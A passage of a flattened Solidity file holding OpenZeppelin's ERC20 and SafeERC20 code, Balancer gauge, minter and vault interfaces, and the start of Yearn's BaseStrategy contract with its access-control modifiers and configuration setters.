We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: IStakingLiquidityGauge.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // For compatibility, we're keeping the same function names as in the original Curve code, including the mixed-case // naming convention. // solhint-disable func-name-mixedcase interface IStakingLiquidityGauge is ILiquidityGauge, IERC20 { function initialize(address lpToken) external; function lp_token() external view returns (IERC20); function deposit(uint256 value, address recipient) external; function withdraw(uint256 value) external; function claimable_rewards(address user, address rewardToken) external view returns (uint256); function claim_rewards(address user) external; function add_reward(address rewardToken, address distributor) external; function set_reward_distributor(address rewardToken, address distributor) external; } // File: SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: BalancerMinter.sol interface IBalancerMinter { event Minted(address indexed recipient, address gauge, uint256 minted); /** * @notice Returns the address of the Balancer Governance Token */ function getBalancerToken() external view returns (IERC20); /** * @notice Returns the address of the Balancer Token Admin contract */ function getBalancerTokenAdmin() external view returns (address); /** * @notice Returns the address of the Gauge Controller */ function getGaugeController() external view returns (address); /** * @notice Mint everything which belongs to `msg.sender` and send to them * @param gauge `LiquidityGauge` address to get mintable amount from */ function mint(address gauge) external returns (uint256); /** * @notice Mint everything which belongs to `msg.sender` across multiple gauges * @param gauges List of `LiquidityGauge` addresses */ function mintMany(address[] calldata gauges) external returns (uint256); /** * @notice Mint tokens for `user` * @dev Only possible when `msg.sender` has been approved by `user` to mint on their behalf * @param gauge `LiquidityGauge` address to get mintable amount from * @param user Address to mint to */ function mintFor(address gauge, address user) external returns (uint256); /** * @notice Mint tokens for `user` across multiple gauges * @dev Only possible when `msg.sender` has been approved by `user` to mint on their behalf * @param gauges List of `LiquidityGauge` addresses * @param user Address to mint to */ function mintManyFor(address[] calldata gauges, address user) external returns (uint256); /** * @notice The total number of tokens minted for `user` from `gauge` */ function minted(address user, address gauge) external view returns (uint256); /** * @notice Whether `minter` is approved to mint tokens for `user` */ function getMinterApproval(address minter, address user) external view returns (bool); /** * @notice Set whether `minter` is approved to mint tokens on your behalf */ function setMinterApproval(address minter, bool approval) external; /** * @notice Set whether `minter` is approved to mint tokens on behalf of `user`, who has signed a message authorizing * them. */ function setMinterApprovalWithSignature( address minter, bool approval, address user, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; // The below functions are near-duplicates of functions available above. // They are included for ABI compatibility with snake_casing as used in vyper contracts. // solhint-disable func-name-mixedcase /** * @notice Whether `minter` is approved to mint tokens for `user` */ function allowed_to_mint_for(address minter, address user) external view returns (bool); /** * @notice Mint everything which belongs to `msg.sender` across multiple gauges * @dev This function is not recommended as `mintMany()` is more flexible and gas efficient * @param gauges List of `LiquidityGauge` addresses */ function mint_many(address[8] calldata gauges) external; /** * @notice Mint tokens for `user` * @dev Only possible when `msg.sender` has been approved by `user` to mint on their behalf * @param gauge `LiquidityGauge` address to get mintable amount from * @param user Address to mint to */ function mint_for(address gauge, address user) external; /** * @notice Toggle whether `minter` is approved to mint tokens for `user` */ function toggle_approve_mint(address minter) external; } // File: BalancerV2.sol interface IBalancerPool is IERC20 { enum SwapKind {GIVEN_IN, GIVEN_OUT} struct SwapRequest { SwapKind kind; IERC20 tokenIn; IERC20 tokenOut; uint256 amount; // Misc data bytes32 poolId; uint256 lastChangeBlock; address from; address to; bytes userData; } // virtual price of bpt function getRate() external view returns (uint); function getPoolId() external view returns (bytes32 poolId); function symbol() external view returns (string memory s); function onSwap( SwapRequest memory swapRequest, uint256[] memory balances, uint256 indexIn, uint256 indexOut ) external view returns (uint256 amount); } interface IBalancerVault { enum PoolSpecialization {GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN} enum JoinKind {INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT, ALL_TOKENS_IN_FOR_EXACT_BPT_OUT} enum ExitKind {EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT} enum SwapKind {GIVEN_IN, GIVEN_OUT} /** * @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the * `assets` array passed to that function, and ETH assets are converted to WETH. * * If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out * from the previous swap, depending on the swap kind. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct BatchSwapStep { bytes32 poolId; uint256 assetInIndex; uint256 assetOutIndex; uint256 amount; bytes userData; } /** * @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the * `recipient` account. * * If the caller is not `sender`, it must be an authorized relayer for them. * * If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20 * transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender` * must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of * `joinPool`. * * If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of * transferred. This matches the behavior of `exitPool`. * * Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a * revert. */ struct FundManagement { address sender; bool fromInternalBalance; address payable recipient; bool toInternalBalance; } /** * @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on * the `kind` value. * * `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address). * Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct SingleSwap { bytes32 poolId; SwapKind kind; IAsset assetIn; IAsset assetOut; uint256 amount; bytes userData; } // enconding formats https://github.com/balancer-labs/balancer-v2-monorepo/blob/master/pkg/balancer-js/src/pool-weighted/encoder.ts struct JoinPoolRequest { IAsset[] assets; uint256[] maxAmountsIn; bytes userData; bool fromInternalBalance; } struct ExitPoolRequest { IAsset[] assets; uint256[] minAmountsOut; bytes userData; bool toInternalBalance; } function joinPool( bytes32 poolId, address sender, address recipient, JoinPoolRequest memory request ) external payable; function exitPool( bytes32 poolId, address sender, address payable recipient, ExitPoolRequest calldata request ) external; function getPool(bytes32 poolId) external view returns (address poolAddress, PoolSpecialization); function getPoolTokenInfo(bytes32 poolId, IERC20 token) external view returns ( uint256 cash, uint256 managed, uint256 lastChangeBlock, address assetManager ); function getPoolTokens(bytes32 poolId) external view returns ( IERC20[] calldata tokens, uint256[] calldata balances, uint256 lastChangeBlock ); /** * @dev Performs a swap with a single Pool. * * If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens * taken from the Pool, which must be greater than or equal to `limit`. * * If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens * sent to the Pool, which must be less than or equal to `limit`. * * Internal Balance usage and the recipient are determined by the `funds` struct. * * Emits a `Swap` event. */ function swap( SingleSwap memory singleSwap, FundManagement memory funds, uint256 limit, uint256 deadline ) external returns (uint256 amountCalculated); /** * @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either * the amount of tokens sent to or received from the Pool, depending on the `kind` value. * * Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the * Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at * the same index in the `assets` array. * * Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a * Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or * `amountOut` depending on the swap kind. * * Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out * of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal * the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`. * * The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses, * or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and * out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to * or unwrapped from WETH by the Vault. * * Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies * the minimum or maximum amount of each token the vault is allowed to transfer. * * `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the * equivalent `swap` call. * * Emits `Swap` events. */ function batchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds, int256[] memory limits, uint256 deadline ) external payable returns (int256[] memory); } interface IAsset { // solhint-disable-previous-line no-empty-blocks } interface IBalancerVaultHelper { struct JoinPoolRequest { IAsset[] assets; uint256[] maxAmountsIn; bytes userData; bool fromInternalBalance; } struct ExitPoolRequest { IAsset[] assets; uint256[] minAmountsOut; bytes userData; bool toInternalBalance; } function queryJoin( bytes32 poolId, address sender, address recipient, IBalancerVault.JoinPoolRequest memory request ) external view returns (uint256 bptOut, uint256[] memory amountsIn); function queryExit( bytes32 poolId, address sender, address recipient, IBalancerVault.ExitPoolRequest memory request ) external view returns (uint256 bptIn, uint256[] memory amountsOut); } // File: BaseStrategy.sol struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarvest; uint256 maxDebtPerHarvest; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; } interface VaultAPI is IERC20 { function name() external view returns (string calldata); function symbol() external view returns (string calldata); function decimals() external view returns (uint256); function apiVersion() external pure returns (string memory); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); // NOTE: Vyper produces multiple signatures for a given function with "default" args function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); // NOTE: Vyper produces multiple signatures for a given function with "default" args function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function depositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); /** * View how much the Vault would increase this Strategy's borrow limit, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function creditAvailable() external view returns (uint256); /** * View how much the Vault would like to pull back from the Strategy, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function debtOutstanding() external view returns (uint256); /** * View how much the Vault expect this Strategy to return at the current * block, based on its present performance (since its last report). Can be * used to determine expectedReturn in your Strategy. */ function expectedReturn() external view returns (uint256); /** * This is the main contact point where the Strategy interacts with the * Vault. It is critical that this call is handled as intended by the * Strategy. Therefore, this function will be called by BaseStrategy to * make sure the integration is correct. */ function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /** * This function should only be used in the scenario where the Strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits its position as fast as possible, such as a sudden change in * market conditions leading to losses, or an imminent failure in an * external dependency. */ function revokeStrategy() external; /** * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. */ function governance() external view returns (address); /** * View the management address of the Vault to assert privileged functions * can only be called by management. The Strategy serves the Vault, so it * is subject to management defined by the Vault. */ function management() external view returns (address); /** * View the guardian address of the Vault to assert privileged functions * can only be called by guardian. The Strategy serves the Vault, so it * is subject to guardian defined by the Vault. */ function guardian() external view returns (address); } /** * This interface is here for the keeper bot to use. */ interface StrategyAPI { function name() external view returns (string memory); function vault() external view returns (address); function want() external view returns (address); function apiVersion() external pure returns (string memory); function keeper() external view returns (address); function isActive() external view returns (bool); function delegatedAssets() external view returns (uint256); function estimatedTotalAssets() external view returns (uint256); function tendTrigger(uint256 callCost) external view returns (bool); function tend() external; function harvestTrigger(uint256 callCost) external view returns (bool); function harvest() external; event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); } interface HealthCheck { function check( uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding, uint256 totalDebt ) external view returns (bool); } /** * @title Yearn Base Strategy * @author yearn.finance * @notice * BaseStrategy implements all of the required functionality to interoperate * closely with the Vault contract. This contract should be inherited and the * abstract methods implemented to adapt the Strategy to the particular needs * it has to create a return. * * Of special interest is the relationship between `harvest()` and * `vault.report()'. `harvest()` may be called simply because enough time has * elapsed since the last report, and not because any funds need to be moved * or positions adjusted. This is critical so that the Vault may maintain an * accurate picture of the Strategy's performance. See `vault.report()`, * `harvest()`, and `harvestTrigger()` for further details. */ abstract contract BaseStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; string public metadataURI; // health checks bool public doHealthCheck; address public healthCheck; /** * @notice * Used to track which version of `StrategyAPI` this Strategy * implements. * @dev The Strategy's version must match the Vault's `API_VERSION`. * @return A string which holds the current API version of this contract. */ function apiVersion() public pure returns (string memory) { return "0.4.3"; } /** * @notice This Strategy's name. * @dev * You can use this field to manage the "version" of this Strategy, e.g. * `StrategySomethingOrOtherV1`. However, "API Version" is managed by * `apiVersion()` function above. * @return This Strategy's name. */ function name() external view virtual returns (string memory); /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards Yearn's TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * Also note that this value is used to determine the total assets under management by this * strategy, for the purposes of computing the management fee in `Vault` * @return * The amount of assets this strategy manages that should not be included in Yearn's Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external view virtual returns (uint256) { return 0; } VaultAPI public vault; address public strategist; address public rewards; address public keeper; IERC20 public want; // So indexers can keep track of this event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); event UpdatedStrategist(address newStrategist); event UpdatedKeeper(address newKeeper); event UpdatedRewards(address rewards); event UpdatedMinReportDelay(uint256 delay); event UpdatedMaxReportDelay(uint256 delay); event UpdatedProfitFactor(uint256 profitFactor); event UpdatedDebtThreshold(uint256 debtThreshold); event EmergencyExitEnabled(); event UpdatedMetadataURI(string metadataURI); // The minimum number of seconds between harvest calls. See // `setMinReportDelay()` for more details. uint256 public minReportDelay; // The maximum number of seconds between harvest calls. See // `setMaxReportDelay()` for more details. uint256 public maxReportDelay; // The minimum multiple that `callCost` must be above the credit/profit to // be "justifiable". See `setProfitFactor()` for more details. uint256 public profitFactor; // Use this to adjust the threshold at which running a debt causes a // harvest trigger. See `setDebtThreshold()` for more details. uint256 public debtThreshold; // See note on `setEmergencyExit()`. bool public emergencyExit; // modifiers modifier onlyAuthorized() { require(msg.sender == strategist || msg.sender == governance(), "!authorized"); _; } modifier onlyEmergencyAuthorized() { require( msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyStrategist() { require(msg.sender == strategist, "!strategist"); _; } modifier onlyGovernance() { require(msg.sender == governance(), "!authorized"); _; } modifier onlyKeepers() { require( msg.sender == keeper || msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyVaultManagers() { require(msg.sender == vault.management() || msg.sender == governance(), "!authorized"); _; } constructor(address _vault) public { _initialize(_vault, msg.sender, msg.sender, msg.sender); } /** * @notice * Initializes the Strategy, this is called only once, when the * contract is deployed. * @dev `_vault` should implement `VaultAPI`. * @param _vault The address of the Vault responsible for this Strategy. * @param _strategist The address to assign as `strategist`. * The strategist is able to change the reward address * @param _rewards The address to use for pulling rewards. * @param _keeper The adddress of the _keeper. _keeper * can harvest and tend a strategy. */ function _initialize( address _vault, address _strategist, address _rewards, address _keeper ) internal { require(address(want) == address(0), "Strategy already initialized"); vault = VaultAPI(_vault); want = IERC20(vault.token()); want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas) strategist = _strategist; rewards = _rewards; keeper = _keeper; // initialize variables minReportDelay = 0; maxReportDelay = 86400; profitFactor = 100; debtThreshold = 0; vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled } function setHealthCheck(address _healthCheck) external onlyVaultManagers { healthCheck = _healthCheck; } function setDoHealthCheck(bool _doHealthCheck) external onlyVaultManagers { doHealthCheck = _doHealthCheck; } /** * @notice * Used to change `strategist`. * * This may only be called by governance or the existing strategist. * @param _strategist The new address to assign as `strategist`. */ function setStrategist(address _strategist) external onlyAuthorized { require(_strategist != address(0)); strategist = _strategist; emit UpdatedStrategist(_strategist); } /** * @notice * Used to change `keeper`. * * `keeper` is the only address that may call `tend()` or `harvest()`, * other than `governance()` or `strategist`. However, unlike * `governance()` or `strategist`, `keeper` may *only* call `tend()` * and `harvest()`, and no other authorized functions, following the * principle of least privilege. * * This may only be called by governance or the strategist. * @param _keeper The new address to assign as `keeper`. */ function setKeeper(address _keeper) external onlyAuthorized { require(_keeper != address(0)); keeper = _keeper; emit UpdatedKeeper(_keeper); } /** * @notice * Used to change `rewards`. EOA or smart contract which has the permission * to pull rewards from the vault. * * This may only be called by the strategist. * @param _rewards The address to use for pulling rewards. */ function setRewards(address _rewards) external onlyStrategist { require(_rewards != address(0)); vault.approve(rewards, 0); rewards = _rewards; vault.approve(rewards, uint256(-1)); emit UpdatedRewards(_rewards); } /** * @notice * Used to change `minReportDelay`. `minReportDelay` is the minimum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the minimum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The minimum number of seconds to wait between harvests. */ function setMinReportDelay(uint256 _delay) external onlyAuthorized { minReportDelay = _delay; emit UpdatedMinReportDelay(_delay); } /** * @notice * Used to change `maxReportDelay`. `maxReportDelay` is the maximum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the maximum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The maximum number of seconds to wait between harvests. */ function setMaxReportDelay(uint256 _delay) external onlyAuthorized { maxReportDelay = _delay; emit UpdatedMaxReportDelay(_delay); } /** * @notice * Used to change `profitFactor`. `profitFactor` is used to determine * if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _profitFactor A ratio to multiply anticipated * `harvest()` gas cost against. */ function setProfitFactor(uint256 _profitFactor) external onlyAuthorized { profitFactor = _profitFactor; emit UpdatedProfitFactor(_profitFactor); } /** * @notice * Sets how far the Strategy can go into loss without a harvest and report * being required. * * By default this is 0, meaning any losses would cause a harvest which * will subsequently report the loss to the Vault for tracking. (See * `harvestTrigger()` for more details.) * * This may only be called by governance or the strategist. * @param _debtThreshold How big of a loss this Strategy may carry without * being required to report to the Vault. */ function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized { debtThreshold = _debtThreshold; emit UpdatedDebtThreshold(_debtThreshold); } /** * @notice * Used to change `metadataURI`. `metadataURI` is used to store the URI * of the file describing the strategy. * * This may only be called by governance or the strategist. * @param _metadataURI The URI that describe the strategy. */ function setMetadataURI(string calldata _metadataURI) external onlyAuthorized { metadataURI = _metadataURI; emit UpdatedMetadataURI(_metadataURI); } /** * Resolve governance address from Vault contract, used to make assertions * on protected functions in the Strategy. */ function governance() internal view returns (address) { return vault.governance(); } /** * @notice * Provide an accurate conversion from `_amtInWei` (denominated in wei) * to `want` (using the native decimal characteristics of `want`). * @dev * Care must be taken when working with decimals to assure that the conversion * is compatible. As an example: * * given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals), * with USDC/ETH = 1800, this should give back 1800000000 (180 USDC) * * @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want` * @return The amount in `want` of `_amtInEth` converted to `want` **/ function ethToWant(uint256 _amtInWei) public view virtual returns (uint256); /** * @notice * Provide an accurate estimate for the total amount of assets * (principle + return) that this Strategy is currently managing, * denominated in terms of `want` tokens. * * This total should be "realizable" e.g. the total value that could * *actually* be obtained from this Strategy if it were to divest its * entire position based on current on-chain conditions. * @dev * Care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through * flashloan attacks, oracle manipulations, or other DeFi attack * mechanisms). * * It is up to governance to use this function to correctly order this * Strategy relative to its peers in the withdrawal queue to minimize * losses for the Vault based on sudden withdrawals. This value should be * higher than the total debt of the Strategy and higher than its expected * value to be "safe". * @return The estimated total assets in this Strategy. */ function estimatedTotalAssets() public view virtual returns (uint256); /* * @notice * Provide an indication of whether this strategy is currently "active" * in that it is managing an active position, or will manage a position in * the future. This should correlate to `harvest()` activity, so that Harvest * events can be 